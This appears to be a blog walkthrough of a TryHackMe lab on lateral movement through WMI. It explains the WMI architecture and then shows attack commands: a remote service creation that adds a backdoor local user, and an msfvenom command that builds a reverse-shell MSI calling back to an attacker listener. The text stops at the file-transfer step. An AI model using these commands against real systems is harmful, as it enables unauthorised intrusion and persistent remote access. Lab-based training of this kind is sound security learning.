Different techniques for lateral movement using WMI
In this blog, we will take a look at how Adversaries and threat actors use WMI to move laterally inside a network. For the practical scenarios, we will be referring to a Tryhackme room called "Lateral Movement and Pivoting".
WMI Overview
Windows Management Instrumentation (WMI) is a set of specifications from Microsoft for consolidating the management of devices and applications in a network from Windows computing systems. WMI provides users with information about the status of local or remote computer systems.
The purpose of WMI is to help administrators manage different Windows operational environments, including remote systems. One big advantage of WMI is that it reduces maintenance and the cost of managing enterprise network components.
Developers and IT administrators can write WMI scripts or applications to automate administrative tasks on remote computers. There is no need to download or install a specific software development kit (SDK) to create these scripts or applications. Management applications or scripts can perform operations or get data through WMI in a variety of programming languages.
In addition to supporting scripts, WMI also supplies management data to other parts of the operating system and products, including Microsoft System Center Operations Manager (SCOM) and Windows Remote Management (WinRM).
Architecture
Managed objects and WMI providers -> A WMI provider is a COM object that monitors one or more managed objects for WMI. A managed object is a logical or physical enterprise component, such as a hard disk drive, network adapter, database system, operating system, process, or service.
WMI Infrastructure -> The WMI infrastructure is a Microsoft Windows operating system component known as the WMI service(winmgmt). The WMI infrastructure has two components: the WMI Core, and the WMI repository.
WMI consumers -> A WMI consumer is a management application or script that interacts with the WMI infrastructure. A management application can query, enumerate data, run provider methods, or subscribe to events by calling either the COM API for WMI or the Scripting API for WMI.
Practical Scenarios
As mentioned above, we will be simulating the attacks on the Tryhackme room called "Lateral Movements and Pivoting". To simulate the attack yourself, refer the Task 1 of the room to connect to the environment.
Below is the map of the Domain Network -
For the scenarios, we will act as an Adversary that has gained an initial foothold on the machine THMJMP2 - 10.200.64.249 via a valid set of credentials. In order to follow along, we can get a set of credentials from the link below
http://distributor.za.tryhackme.com/creds
After getting the credentials, either SSH or use RDP tools to RDP into THMPJMP1.
Here is the SSH command
ssh za\\<AD Username>@thmjmp2.za.tryhackme.com
Our target of interest is the THMIIS - 10.200.64.201
In short -
Attacker machine -> THMJMP2 - 10.200.64.249
Target machine -> THMIIS - 10.200.64.201
After the setup is done, let's take a look at different techniques
Connecting to WMI From Powershell
Before being able to connect to WMI using Powershell commands, we need to create a PSCredential object with our user and password. This object will be stored in the $credential variable and utilised throughout the techniques on this task
We then proceed to establish a WMI session using either of the following protocols:
DCOM: RPC over IP will be used for connecting to WMI. This protocol uses port 135/TCP and ports 49152-65535/TCP, just as explained when using sc.exe.
Wsman: WinRM will be used for connecting to WMI. This protocol uses ports 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS).
To establish a WMI session from Powershell, we can use the following commands and store the session on the $Session variable, which we will use throughout the scenarios on the different techniques
The New-CimSessionOption cmdlet is used to configure the connection options for the WMI session, including the connection protocol. The options and credentials are then passed to the New-CimSession cmdlet to establish a session against a remote host.
To summarize this, let's create the $session variable for our username
We can remotely spawn a process from Powershell by leveraging Windows Management Instrumentation (WMI), sending a WMI request to the Win32_Process class to spawn the process under the session we created before.
After this ,we will use Invoke-CimMethod cmdlet with Win32_service class and create a method along with its arguments
Invoke-CimMethod-CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{Name ="THMService_chrollo";DisplayName ="THMService_chrollo";PathName ="net user chrollo Pass123 /add"; # Your payloadServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new processStartMode ="Manual"}
After the method is created let's send this to the THMIIs
The user 'chrollo' is successfully created inside THMIIS machine. We can verify it
C:\Windows\system32>netusersnetusersUseraccountsfor \\------------------------------------------n-------------------------------------chrolloDefaultAccountGuestServerAdminWDAGUtilityAccountThecommandcompletedwithoneormoreerrors.C:\Windows\system32>netuserchrollonetuserchrolloUsernamechrolloFullNameCommentUser's comment Country/region code 000 (System Default)Account active YesAccount expires NeverPassword last set 2022/07/25 10:22:32Password expires NeverPassword changeable 2022/07/25 10:22:32Password required YesUser may change password YesWorkstations allowed AllLogon script User profile Home directory Last logon NeverLogon hours allowed AllLocal Group Memberships *Users Global Group memberships *None The command completed successfully.
After the scheduled task is been executed, we can delete it using the following commands
MSI is a file format used for installers. If we can copy an MSI package to the target system, we can then use WMI to attempt to install it for us. The file can be copied in any way available to the attacker. Once the MSI file is in the target system, we can attempt to install it by invoking the Win32_Product class through WMI
Let's take a look at the practical scenario. This time we will catch a reverse shell on our attacker Kali Linux machine. The commands that will be used to install the MSI packages will be from the THMJMP2 machine meanwhile the target will be the THMIIS machine.
Firstly SSH into the THMJMP2 using the valid credentials(Refer the above setup)
root@kali~/t/adversary#sshZA.TRYHACKME.COM\\t1_corine.waters@thmjmp2.za.tryhackme.comZA.TRYHACKME.COM\t1_corine.waters@thmjmp2.za.tryhackme.com's password: Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
za\t1_corine.waters@THMJMP2 C:\Users\t1_corine.waters>whoami
za\t1_corine.waters
za\t1_corine.waters@THMJMP2 C:\Users\t1_corine.waters>
Then creating a MSI payload using msfvenom
root@kali ~/t/adversary# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.50.49.125 LPORT=4445 -f msi > chrollo_installer.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadNoencoderspecified,outputtingrawpayloadPayloadsize:460bytesFinalsizeofmsifile:159744bytes
Now using any method transfer the MSI Payload to THMJMP2 machine. For this case, we are using smbclient